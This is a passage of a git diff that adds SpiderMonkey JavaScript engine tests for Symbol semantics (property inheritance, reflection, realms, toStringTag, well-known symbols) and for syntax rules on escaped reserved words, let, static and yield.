diff --git a/js/src/tests/ecma_6/Symbol/property-inheritance.js b/js/src/tests/ecma_6/Symbol/property-inheritance.js
new file mode 100644
index 000000000..2fe618968
--- /dev/null
+++ b/js/src/tests/ecma_6/Symbol/property-inheritance.js
@@ -0,0 +1,50 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+var sym = Symbol.for("hello");
+function F() {}
+var f = new F();
+
+// inherited data property
+F.prototype[sym] = "world";
+assertEq(sym in f, true);
+assertEq(f.hasOwnProperty(sym), false);
+assertEq(f[sym], "world");
+
+// shadowing assignment
+f[sym] = "kitty";
+assertEq(f[sym], "kitty");
+assertEq(F.prototype[sym], "world");
+
+// deletion, revealing previously shadowed property
+assertEq(delete f[sym], true);
+assertEq(f.hasOwnProperty(sym), false);
+assertEq(f[sym], "world");
+
+// inherited accessor property
+var value = undefined;
+Object.defineProperty(F.prototype, sym, {
+ configurable: true,
+ get: function () { return 23; },
+ set: function (v) { value = v; }
+});
+assertEq(sym in f, true);
+assertEq(f.hasOwnProperty(sym), false);
+assertEq(f[sym], 23);
+f[sym] = "gravity";
+assertEq(value, "gravity");
+
+// inherited accessor property with no setter
+Object.defineProperty(F.prototype, sym, {
+ set: undefined
+});
+assertThrowsInstanceOf(function () { "use strict"; f[sym] = 0; }, TypeError);
+
+// deeply inherited accessor property
+var g = Object.create(f);
+for (var i = 0; i < 100; i++)
+ g = Object.create(g);
+assertEq(g[sym], 23);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/Symbol/property-nonwritable.js b/js/src/tests/ecma_6/Symbol/property-nonwritable.js
new file mode 100644
index 000000000..3e58383c7
--- /dev/null
+++ b/js/src/tests/ecma_6/Symbol/property-nonwritable.js
@@ -0,0 +1,31 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+var sym = Symbol.for("moon");
+function checkNotWritable(obj) {
+ // In sloppy mode, assigning to a nonwritable property silently fails.
+ obj[sym] = "portals";
+ assertEq(obj[sym], "cheese");
+
+ // In strict mode code, it throws.
+ assertThrowsInstanceOf(function () { "use strict"; obj[sym] = "robots"; }, TypeError);
+ assertEq(obj[sym], "cheese");
+}
+
+var x = {};
+Object.defineProperty(x, sym, {
+ configurable: true,
+ enumerable: true,
+ value: "cheese",
+ writable: false
+});
+
+checkNotWritable(x);
+
+// Assignment can't shadow inherited nonwritable properties either.
+var y = Object.create(x);
+checkNotWritable(y);
+checkNotWritable(Object.create(y));
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/Symbol/property-reflection.js b/js/src/tests/ecma_6/Symbol/property-reflection.js
new file mode 100644
index 000000000..5bdecf663
--- /dev/null
+++ b/js/src/tests/ecma_6/Symbol/property-reflection.js
@@ -0,0 +1,136 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Basic tests for standard Object APIs interacting with symbols.
+
+// Object.defineProperty
+function F() {}
+var f = new F;
+Object.defineProperty(f, Symbol.for("name"), {
+ configurable: true,
+ value: "eff"
+});
+assertEq("name" in f, false);
+assertEq("Symbol(name)" in f, false);
+assertEq(Symbol.for("name") in f, true);
+assertEq(f[Symbol.for("name")], "eff");
+
+// Object.defineProperties
+function D() {}
+var descs = new D;
+var s1 = Symbol("s1");
+var hits = 0;
+descs[s1] = {
+ get: () => hits++,
+ set: undefined,
+ enumerable: true,
+ configurable: true
+};
+var s2 = Symbol("s2");
+descs[s2] = {
+ value: {},
+ writable: true,
+ enumerable: false,
+ configurable: true
+};
+var s3 = Symbol("s3");
+D.prototype[s3] = {value: "FAIL"};
+assertEq(Object.defineProperties(f, descs), f);
+assertEq(s1 in f, true);
+assertEq(f[s1], 0);
+assertEq(hits, 1);
+assertEq(s2 in f, true);
+assertEq(f[s2], descs[s2].value);
+assertEq(s3 in f, false);
+
+// Object.create
+var n = Object.create({}, descs);
+assertEq(s1 in n, true);
+assertEq(n[s1], 1);
+assertEq(hits, 2);
+assertEq(s2 in n, true);
+assertEq(n[s2], descs[s2].value);
+assertEq(s3 in n, false);
+
+// Object.getOwnPropertyDescriptor
+var desc = Object.getOwnPropertyDescriptor(n, s1);
+assertDeepEq(desc, descs[s1]);
+assertEq(desc.get, descs[s1].get);
+desc = Object.getOwnPropertyDescriptor(n, s2);
+assertDeepEq(desc, descs[s2]);
+assertEq(desc.value, descs[s2].value);
+
+// Object.prototype.hasOwnProperty
+assertEq(descs.hasOwnProperty(s1), true);
+assertEq(descs.hasOwnProperty(s2), true);
+assertEq(descs.hasOwnProperty(s3), false);
+assertEq([].hasOwnProperty(Symbol.iterator), false);
+assertEq(Array.prototype.hasOwnProperty(Symbol.iterator), true);
+
+// Object.prototype.propertyIsEnumerable
+assertEq(n.propertyIsEnumerable(s1), true);
+assertEq(n.propertyIsEnumerable(s2), false);
+assertEq(n.propertyIsEnumerable(s3), false); // no such property
+assertEq(D.prototype.propertyIsEnumerable(s3), true);
+assertEq(descs.propertyIsEnumerable(s3), false); // inherited properties are not considered
+
+// Object.preventExtensions
+var obj = {};
+obj[s1] = 1;
+assertEq(Object.preventExtensions(obj), obj);
+assertThrowsInstanceOf(function () { "use strict"; obj[s2] = 2; }, TypeError);
+obj[s2] = 2; // still no effect
+assertEq(s2 in obj, false);
+
+// Object.isSealed, Object.isFrozen
+assertEq(Object.isSealed(obj), false);
+assertEq(Object.isFrozen(obj), false);
+assertEq(delete obj[s1], true);
+assertEq(Object.isSealed(obj), true);
+assertEq(Object.isFrozen(obj), true);
+
+obj = {};
+obj[s1] = 1;
+Object.preventExtensions(obj);
+Object.defineProperty(obj, s1, {configurable: false}); // still writable
+assertEq(Object.isSealed(obj), true);
+assertEq(Object.isFrozen(obj), false);
+obj[s1] = 2;
+assertEq(obj[s1], 2);
+Object.defineProperty(obj, s1, {writable: false});
+assertEq(Object.isFrozen(obj), true);
+
+// Object.seal, Object.freeze
+var obj = {};
+obj[s1] = 1;
+Object.seal(obj);
+desc = Object.getOwnPropertyDescriptor(obj, s1);
+assertEq(desc.configurable, false);
+assertEq(desc.writable, true);
+Object.freeze(obj);
+assertEq(Object.getOwnPropertyDescriptor(obj, s1).writable, false);
+
+// Object.setPrototypeOf purges caches for symbol-keyed properties.
+var proto = {};
+proto[s1] = 1;
+Object.defineProperty(proto, s2, {
+ get: () => 2,
+ set: v => undefined
+});
+var obj = Object.create(proto);
+var last1, last2;
+var N = 9;
+for (var i = 0; i < N; i++) {
+ last1 = obj[s1];
+ last2 = obj[s2];
+ obj[s2] = "marker";
+ if (i === N - 2)
+ Object.setPrototypeOf(obj, {});
+}
+assertEq(last1, undefined);
+assertEq(last2, undefined);
+assertEq(obj.hasOwnProperty(s2), true);
+assertEq(obj[s2], "marker");
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/Symbol/realms.js b/js/src/tests/ecma_6/Symbol/realms.js
new file mode 100644
index 000000000..98a1284ee
--- /dev/null
+++ b/js/src/tests/ecma_6/Symbol/realms.js
@@ -0,0 +1,36 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Symbols can be shared across realms.
+
+if (typeof Reflect !== "undefined" && typeof Reflect.Realm === "function") {
+ throw new Error("Congratulations on implementing Reflect.Realm! " +
+ "Please update this test to use it.");
+}
+if (typeof newGlobal === "function") {
+ var g = newGlobal();
+ var gj = g.eval("jones = Symbol('jones')");
+ assertEq(typeof gj, "symbol");
+ assertEq(g.jones, g.jones);
+ assertEq(gj, g.jones);
+ assertEq(gj !== Symbol("jones"), true);
+
+ // A symbol can be round-tripped to another realm and back;
+ // the result is the original symbol.
+ var smith = Symbol("smith");
+ g.smith = smith; // put smith into the realm
+ assertEq(g.smith, smith); // pull it back out
+
+ // Spot-check that non-generic methods can be applied to symbols and Symbol
+ // objects from other realms.
+ assertEq(Symbol.prototype.toString.call(gj), "Symbol(jones)");
+ assertEq(Symbol.prototype.toString.call(g.eval("Object(Symbol('brown'))")),
+ "Symbol(brown)");
+
+ // Symbol.for functions share a symbol registry across all realms.
+ assertEq(g.Symbol.for("ponies"), Symbol.for("ponies"));
+ assertEq(g.eval("Symbol.for('rainbows')"), Symbol.for("rainbows"));
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/Symbol/shell.js b/js/src/tests/ecma_6/Symbol/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_6/Symbol/shell.js
diff --git a/js/src/tests/ecma_6/Symbol/species.js b/js/src/tests/ecma_6/Symbol/species.js
new file mode 100644
index 000000000..ba45066e1
--- /dev/null
+++ b/js/src/tests/ecma_6/Symbol/species.js
@@ -0,0 +1,30 @@
+var BUGNUMBER = 1131043;
+var summary = "Implement @@species getter for builtin types";
+
+print(BUGNUMBER + ": " + summary);
+
+var TypedArray = Object.getPrototypeOf(Int8Array);
+
+for (var C of [Array, Map, Set, RegExp,
+ Int8Array, Uint8Array, Uint8ClampedArray,
+ Int16Array, Uint16Array, Int32Array, Uint32Array,
+ Float32Array, Float64Array,
+ ArrayBuffer]) {
+ assertEq(C[Symbol.species], C);
+}
+
+for (C of [Array, Map, Set, RegExp,
+ TypedArray,
+ ArrayBuffer]) {
+ var desc = Object.getOwnPropertyDescriptor(C, Symbol.species);
+ assertDeepEq(Object.keys(desc).sort(), ["configurable", "enumerable", "get", "set"]);
+ assertEq(desc.set, undefined);
+ assertEq(desc.enumerable, false);
+ assertEq(desc.configurable, true);
+ assertEq(desc.get.apply(null), null);
+ assertEq(desc.get.apply(undefined), undefined);
+ assertEq(desc.get.apply(42), 42);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/Symbol/surfaces.js b/js/src/tests/ecma_6/Symbol/surfaces.js
new file mode 100644
index 000000000..7b3ef9f9b
--- /dev/null
+++ b/js/src/tests/ecma_6/Symbol/surfaces.js
@@ -0,0 +1,34 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Test superficial properties of the Symbol constructor and prototype.
+
+var desc = Object.getOwnPropertyDescriptor(this, "Symbol");
+assertEq(desc.configurable, true);
+assertEq(desc.enumerable, false);
+assertEq(desc.writable, true);
+assertEq(typeof Symbol, "function");
+assertEq(Symbol.length, 0);
+
+desc = Object.getOwnPropertyDescriptor(Symbol, "prototype");
+assertEq(desc.configurable, false);
+assertEq(desc.enumerable, false);
+assertEq(desc.writable, false);
+
+assertEq(Symbol.prototype.constructor, Symbol);
+desc = Object.getOwnPropertyDescriptor(Symbol.prototype, "constructor");
+assertEq(desc.configurable, true);
+assertEq(desc.enumerable, false);
+assertEq(desc.writable, true);
+
+desc = Object.getOwnPropertyDescriptor(Symbol, "iterator");
+assertEq(desc.configurable, false);
+assertEq(desc.enumerable, false);
+assertEq(desc.writable, false);
+
+assertEq(Symbol.for.length, 1);
+assertEq(Symbol.prototype.toString.length, 0);
+assertEq(Symbol.prototype.valueOf.length, 0);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/Symbol/toPrimitive.js b/js/src/tests/ecma_6/Symbol/toPrimitive.js
new file mode 100644
index 000000000..06262f99c
--- /dev/null
+++ b/js/src/tests/ecma_6/Symbol/toPrimitive.js
@@ -0,0 +1,39 @@
+// ES6 19.4.3.4 Symbol.prototype[@@toPrimitive](hint)
+
+// This method gets the primitive symbol from a Symbol wrapper object.
+var sym = Symbol.for("truth")
+var obj = Object(sym);
+assertEq(obj[Symbol.toPrimitive]("default"), sym);
+
+// The hint argument is ignored.
+assertEq(obj[Symbol.toPrimitive]("number"), sym);
+assertEq(obj[Symbol.toPrimitive]("string"), sym);
+assertEq(obj[Symbol.toPrimitive](), sym);
+assertEq(obj[Symbol.toPrimitive](Math.atan2), sym);
+
+// The this value can also be a primitive symbol.
+assertEq(sym[Symbol.toPrimitive](), sym);
+
+// Or a wrapper to a Symbol object in another compartment.
+var obj2 = newGlobal().Object(sym);
+assertEq(obj2[Symbol.toPrimitive]("default"), sym);
+
+// Otherwise a TypeError is thrown.
+var symbolToPrimitive = Symbol.prototype[Symbol.toPrimitive];
+var nonSymbols = [
+ undefined, null, true, 13, NaN, "justice", {}, [sym],
+ symbolToPrimitive,
+ new Proxy(obj, {})
+];
+for (var value of nonSymbols) {
+ assertThrowsInstanceOf(() => symbolToPrimitive.call(value, "string"), TypeError);
+}
+
+// Surface features:
+assertEq(symbolToPrimitive.name, "[Symbol.toPrimitive]");
+var desc = Object.getOwnPropertyDescriptor(Symbol.prototype, Symbol.toPrimitive);
+assertEq(desc.configurable, true);
+assertEq(desc.enumerable, false);
+assertEq(desc.writable, false);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/Symbol/toString.js b/js/src/tests/ecma_6/Symbol/toString.js
new file mode 100644
index 000000000..b7bbda876
--- /dev/null
+++ b/js/src/tests/ecma_6/Symbol/toString.js
@@ -0,0 +1,27 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+var cases = [
+ {sym: Symbol(), str: "Symbol()"},
+ {sym: Symbol("ok"), str: "Symbol(ok)"},
+ {sym: Symbol("\0"), str: "Symbol(\0)"},
+ {sym: Symbol.iterator, str: "Symbol(Symbol.iterator)"},
+ {sym: Symbol.for("dummies"), str: "Symbol(dummies)"}
+];
+
+// Symbol.prototype.toString works on both primitive symbols and Symbol
+// objects.
+for (var test of cases) {
+ assertEq(test.sym.toString(), test.str);
+ assertEq(Object(test.sym).toString(), test.str);
+}
+
+// Any other value throws.
+var nonsymbols = [
+ undefined, null, "not-ok", new String("still-not-ok"), {}, []
+];
+for (var nonsym of nonsymbols)
+ assertThrowsInstanceOf(() => Symbol.prototype.toString.call(nonsym), TypeError);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/Symbol/toStringTag.js b/js/src/tests/ecma_6/Symbol/toStringTag.js
new file mode 100644
index 000000000..20aac2c42
--- /dev/null
+++ b/js/src/tests/ecma_6/Symbol/toStringTag.js
@@ -0,0 +1,155 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// ES6 19.1.3.6 Object.prototype.toString ( )
+function testToString() {
+ var tests = [
+ [undefined, "[object Undefined]"],
+ [null, "[object Null]"],
+ [[], "[object Array]"],
+ [new String("abc"), "[object String]"],
+ [(function () {return arguments;})(), "[object Arguments]"],
+ [(function () {"use strict"; return arguments;})(), "[object Arguments]"],
+ [function() {}, "[object Function]"],
+ [new Error("abc"), "[object Error]"],
+ [true, "[object Boolean]"],
+ [5, "[object Number]"],
+ [new Date(), "[object Date]"],
+ [/regexp/, "[object RegExp]"],
+ [{[Symbol.toStringTag]: "abc"}, "[object abc]"],
+ [Object.create(JSON), "[object JSON]"],
+ [Object.create(new Number), "[object Object]"],
+ [Object.create(new Number, {[Symbol.toStringTag]: {value: "abc"}}), "[object abc]"],
+ [(function() { var x = new Number(); x[Symbol.toStringTag] = "abc"; return x; })(), "[object abc]"],
+ [[], "[object Array]"]
+ ];
+
+ // Testing if the values are obtained the right way.
+ for (let [value, expected] of tests) {
+ let result = Object.prototype.toString.call(value);
+ assertEq(result, expected);
+ }
+}
+testToString();
+
+function testProxy() {
+ var count = 0;
+ var metaHandler = new Proxy({}, {
+ get(target, property, receiver) {
+ assertEq(property, "get");
+
+ return function(target, property, receiver) {
+ assertEq(property, Symbol.toStringTag);
+ count++;
+ return undefined;
+ }
+ }
+ });
+
+ assertEq(Object.prototype.toString.call(new Proxy({}, metaHandler)), "[object Object]")
+ assertEq(Object.prototype.toString.call(new Proxy(new Date, metaHandler)), "[object Object]")
+ assertEq(Object.prototype.toString.call(new Proxy([], metaHandler)), "[object Array]")
+ assertEq(Object.prototype.toString.call(new Proxy(function() {}, metaHandler)), "[object Function]")
+ var {proxy, revoke} = Proxy.revocable({}, metaHandler);
+ revoke();
+ assertThrowsInstanceOf(() => Object.prototype.toString.call(proxy), TypeError);
+
+ assertEq(count, 4);
+}
+testProxy();
+
+// Tests the passed objects toStringTag values and ensures it's
+// desc is writable: false, enumerable: false, configurable: true
+function testDefault(object, expected) {
+ let desc = Object.getOwnPropertyDescriptor(object, Symbol.toStringTag);
+ assertEq(desc.value, expected);
+ assertEq(desc.writable, false);
+ assertEq(desc.enumerable, false);
+ assertEq(desc.configurable, true);
+}
+
+// ES6 19.4.3.5 Symbol.prototype [ @@toStringTag ]
+testDefault(Symbol.prototype, "Symbol");
+
+// ES6 20.2.1.9 Math [ @@toStringTag ]
+testDefault(Math, "Math");
+
+// ES6 21.1.5.2.2 %StringIteratorPrototype% [ @@toStringTag ]
+testDefault(""[Symbol.iterator]().__proto__, "String Iterator")
+
+// ES6 22.1.5.2.2 %ArrayIteratorPrototype% [ @@toStringTag ]
+testDefault([][Symbol.iterator]().__proto__, "Array Iterator")
+
+// ES6 22.2.3.31 get %TypedArray%.prototype [ @@toStringTag ]
+function testTypedArray() {
+ let ta = (new Uint8Array(0)).__proto__.__proto__;
+ let desc = Object.getOwnPropertyDescriptor(ta, Symbol.toStringTag);
+ assertEq(desc.enumerable, false);
+ assertEq(desc.configurable, true);
+ assertEq(desc.set, undefined);
+
+ let get = desc.get;
+ assertEq(get.name, "get [Symbol.toStringTag]");
+ assertEq(get.call(3.14), undefined);
+ assertEq(get.call({}), undefined);
+ assertEq(get.call(ta), undefined);
+
+ let types = [
+ Int8Array,
+ Uint8Array,
+ Int16Array,
+ Uint16Array,
+ Int32Array,
+ Uint32Array,
+ Float32Array,
+ Float64Array
+ ];
+
+ for (let type of types) {
+ let array = new type(0);
+ assertEq(get.call(array), type.name);
+ assertEq(Object.prototype.toString.call(array), `[object ${type.name}]`);
+ }
+}
+testTypedArray();
+
+// ES6 23.1.3.13 Map.prototype [ @@toStringTag ]
+testDefault(Map.prototype, "Map");
+
+// ES6 23.1.5.2.2 %MapIteratorPrototype% [ @@toStringTag ]
+testDefault(new Map()[Symbol.iterator]().__proto__, "Map Iterator")
+
+// ES6 23.2.3.12 Set.prototype [ @@toStringTag ]
+testDefault(Set.prototype, "Set");
+
+// ES6 23.2.5.2.2 %SetIteratorPrototype% [ @@toStringTag ]
+testDefault(new Set()[Symbol.iterator]().__proto__, "Set Iterator")
+
+// ES6 23.3.3.6 WeakMap.prototype [ @@toStringTag ]
+testDefault(WeakMap.prototype, "WeakMap");
+
+// ES6 23.4.3.5 WeakSet.prototype [ @@toStringTag ]
+testDefault(WeakSet.prototype, "WeakSet");
+
+// ES6 24.1.4.4 ArrayBuffer.prototype [ @@toStringTag ]
+testDefault(ArrayBuffer.prototype, "ArrayBuffer");
+
+// ES6 24.2.4.21 DataView.prototype[ @@toStringTag ]
+testDefault(DataView.prototype, "DataView");
+
+// ES6 24.3.3 JSON [ @@toStringTag ]
+testDefault(JSON, "JSON");
+
+// ES6 25.2.3.3 GeneratorFunction.prototype [ @@toStringTag ]
+testDefault(function* () {}.constructor.prototype, "GeneratorFunction");
+
+// ES6 25.3.1.5 Generator.prototype [ @@toStringTag ]
+testDefault(function* () {}().__proto__.__proto__, "Generator");
+
+// ES6 25.4.5.4 Promise.prototype [ @@toStringTag ]
+testDefault(Promise.prototype, "Promise");
+
+// AsyncFunction.prototype [ @@toStringTag ]
+testDefault(async function() {}.constructor.prototype, "AsyncFunction");
+
+reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/Symbol/typed-arrays.js b/js/src/tests/ecma_6/Symbol/typed-arrays.js
new file mode 100644
index 000000000..a07cf396b
--- /dev/null
+++ b/js/src/tests/ecma_6/Symbol/typed-arrays.js
@@ -0,0 +1,17 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Symbol-to-number type conversions involving typed arrays.
+
+for (var T of [Uint8Array, Uint8ClampedArray, Int16Array, Float32Array]) {
+ // Typed array constructors convert symbols using ToNumber(), which throws.
+ assertThrowsInstanceOf(() => new T([Symbol("a")]), TypeError);
+
+ // Assignment does the same.
+ var arr = new T([1]);
+ assertThrowsInstanceOf(() => { arr[0] = Symbol.iterator; }, TypeError);
+ assertEq(arr[0], 1);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/Symbol/typeof.js b/js/src/tests/ecma_6/Symbol/typeof.js
new file mode 100644
index 000000000..104ae66df
--- /dev/null
+++ b/js/src/tests/ecma_6/Symbol/typeof.js
@@ -0,0 +1,11 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+assertEq(typeof Symbol(), "symbol");
+assertEq(typeof Symbol("ponies"), "symbol");
+assertEq(typeof Symbol.for("ponies"), "symbol");
+
+assertEq(typeof Object(Symbol()), "object");
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/Symbol/valueOf.js b/js/src/tests/ecma_6/Symbol/valueOf.js
new file mode 100644
index 000000000..a3823c3ff
--- /dev/null
+++ b/js/src/tests/ecma_6/Symbol/valueOf.js
@@ -0,0 +1,22 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+var symbols = [
+ Symbol(),
+ Symbol("ok"),
+ Symbol.for("dummies"),
+ Symbol.iterator
+];
+
+for (var sym of symbols) {
+ assertEq(sym.valueOf(), sym);
+ assertEq(Object(sym).valueOf(), sym);
+}
+
+// Any other value throws.
+var nonsymbols = [undefined, null, NaN, {}, Symbol.prototype];
+for (var nonsym of nonsymbols)
+ assertThrowsInstanceOf(() => Symbol.prototype.valueOf.call(nonsym), TypeError);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/Symbol/well-known.js b/js/src/tests/ecma_6/Symbol/well-known.js
new file mode 100644
index 000000000..8c5de1279
--- /dev/null
+++ b/js/src/tests/ecma_6/Symbol/well-known.js
@@ -0,0 +1,41 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+var names = [
+ "isConcatSpreadable",
+ "iterator",
+ "match",
+ "replace",
+ "search",
+ "species",
+ "hasInstance",
+ "split",
+ "toPrimitive",
+ "unscopables"
+];
+
+for (var name of names) {
+ // Well-known symbols exist.
+ assertEq(typeof Symbol[name], "symbol");
+
+ // They are never in the registry.
+ assertEq(Symbol[name] !== Symbol.for("Symbol." + name), true);
+
+ // They are shared across realms.
+ if (typeof Realm === 'function')
+ throw new Error("please update this test to use Realms");
+ if (typeof newGlobal === 'function') {
+ var g = newGlobal();
+ assertEq(Symbol[name], g.Symbol[name]);
+ }
+
+ // Descriptor is all false.
+ var desc = Object.getOwnPropertyDescriptor(Symbol, name);
+ assertEq(typeof desc.value, "symbol");
+ assertEq(desc.writable, false);
+ assertEq(desc.enumerable, false);
+ assertEq(desc.configurable, false);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/Syntax/browser.js b/js/src/tests/ecma_6/Syntax/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_6/Syntax/browser.js
diff --git a/js/src/tests/ecma_6/Syntax/declaration-forbidden-in-label.js b/js/src/tests/ecma_6/Syntax/declaration-forbidden-in-label.js
new file mode 100644
index 000000000..53acb3996
--- /dev/null
+++ b/js/src/tests/ecma_6/Syntax/declaration-forbidden-in-label.js
@@ -0,0 +1,34 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1288459;
+var summary =
+ "Properly implement the spec's distinctions between StatementListItem and " +
+ "Statement grammar productions and their uses";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+assertThrowsInstanceOf(() => Function("a: let x;"), SyntaxError);
+assertThrowsInstanceOf(() => Function("b: const y = 3;"), SyntaxError);
+assertThrowsInstanceOf(() => Function("c: class z {};"), SyntaxError);
+
+assertThrowsInstanceOf(() => Function("'use strict'; d: function w() {};"), SyntaxError);
+
+// Annex B.3.2 allows this in non-strict mode code.
+Function("e: function x() {};");
+
+assertThrowsInstanceOf(() => Function("f: function* y() {}"), SyntaxError);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_6/Syntax/escaped-let-static-identifier.js b/js/src/tests/ecma_6/Syntax/escaped-let-static-identifier.js
new file mode 100644
index 000000000..a4353a516
--- /dev/null
+++ b/js/src/tests/ecma_6/Syntax/escaped-let-static-identifier.js
@@ -0,0 +1,57 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1288460;
+var summary =
+ "|let| and |static| are forbidden as Identifier only in strict mode code, " +
+ "and it's permissible to use them as Identifier (with or without " +
+ "containing escapes) in non-strict code";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function t(code)
+{
+ var strictSemi = " 'use strict'; " + code;
+ var strictASI = " 'use strict' \n " + code;
+
+ var creationFunctions = [Function];
+ if (typeof evaluate === "function")
+ creationFunctions.push(evaluate);
+ if (typeof parseModule === "function")
+ creationFunctions.push(parseModule);
+
+ for (var func of creationFunctions)
+ {
+ if (typeof parseModule === "function" && func === parseModule)
+ assertThrowsInstanceOf(() => func(code), SyntaxError);
+ else
+ func(code);
+
+ assertThrowsInstanceOf(() => func(strictSemi), SyntaxError);
+ assertThrowsInstanceOf(() => func(strictASI), SyntaxError);
+ }
+}
+
+t("l\\u0065t: 42;");
+t("if (1) l\\u0065t: 42;");
+t("l\\u0065t = 42;");
+t("if (1) l\\u0065t = 42;");
+
+t("st\\u0061tic: 42;");
+t("if (1) st\\u0061tic: 42;");
+t("st\\u0061tic = 42;");
+t("if (1) st\\u0061tic = 42;");
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_6/Syntax/escaped-strict-reserved-words-and-yield.js b/js/src/tests/ecma_6/Syntax/escaped-strict-reserved-words-and-yield.js
new file mode 100644
index 000000000..9d683bd97
--- /dev/null
+++ b/js/src/tests/ecma_6/Syntax/escaped-strict-reserved-words-and-yield.js
@@ -0,0 +1,105 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+const testCases = [
+ // Label identifier.
+ id => `${id}: ;`,
+
+ // Binding identifier.
+ id => `var ${id};`,
+ id => `let ${id};`,
+ id => `const ${id} = 0;`,
+
+ // Binding identifier in binding pattern.
+ id => `var [${id}] = [];`,
+ id => `var [${id} = 0] = [];`,
+ id => `var [...${id}] = [];`,
+ id => `var {a: ${id}} = {};`,
+ id => `var {${id}} = {};`,
+ id => `var {${id} = 0} = {};`,
+
+ id => `let [${id}] = [];`,
+ id => `let [${id} = 0] = [];`,
+ id => `let [...${id}] = [];`,
+ id => `let {a: ${id}} = {};`,
+ id => `let {${id}} = {};`,
+ id => `let {${id} = 0} = {};`,
+
+ id => `const [${id}] = [];`,
+ id => `const [${id} = 0] = [];`,
+ id => `const [...${id}] = [];`,
+ id => `const {a: ${id}} = {};`,
+ id => `const {${id}} = {};`,
+ id => `const {${id} = 0} = {};`,
+
+ // Identifier reference.
+ id => `void ${id};`,
+];
+
+const strictReservedWords = [
+ "implements",
+ "interface",
+ "package",
+ "private",
+ "protected",
+ "public",
+];
+
+function escapeWord(s) {
+ return "\\u00" + s.charCodeAt(0).toString(16) + s.substring(1);
+}
+
+for (let strictReservedWordOrYield of [...strictReservedWords, "yield"]) {
+ let escapedStrictReservedWordOrYield = escapeWord(strictReservedWordOrYield);
+
+ for (let testCase of testCases) {
+ eval(testCase(strictReservedWordOrYield));
+ eval(testCase(escapedStrictReservedWordOrYield));
+
+ assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ ${testCase(strictReservedWordOrYield)}
+ `), SyntaxError);
+
+ assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ ${testCase(escapedStrictReservedWordOrYield)}
+ `), SyntaxError);
+ }
+}
+
+// |yield| is always a keyword in generator functions.
+for (let testCase of testCases) {
+ let yield = "yield";
+ let escapedYield = escapeWord("yield");
+
+ assertThrowsInstanceOf(() => eval(String.raw`
+ function* g() {
+ ${testCase(yield)}
+ }
+ `), SyntaxError);
+
+ assertThrowsInstanceOf(() => eval(String.raw`
+ function* g() {
+ ${testCase(escapedYield)}
+ }
+ `), SyntaxError);
+
+ assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ function* g() {
+ ${testCase(yield)}
+ }
+ `), SyntaxError);
+
+ assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ function* g() {
+ ${testCase(escapedYield)}
+ }
+ `), SyntaxError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/ecma_6/Syntax/identifier_vertical_tilde.js b/js/src/tests/ecma_6/Syntax/identifier_vertical_tilde.js
new file mode 100644
index 000000000..94fb55f63
--- /dev/null
+++ b/js/src/tests/ecma_6/Syntax/identifier_vertical_tilde.js
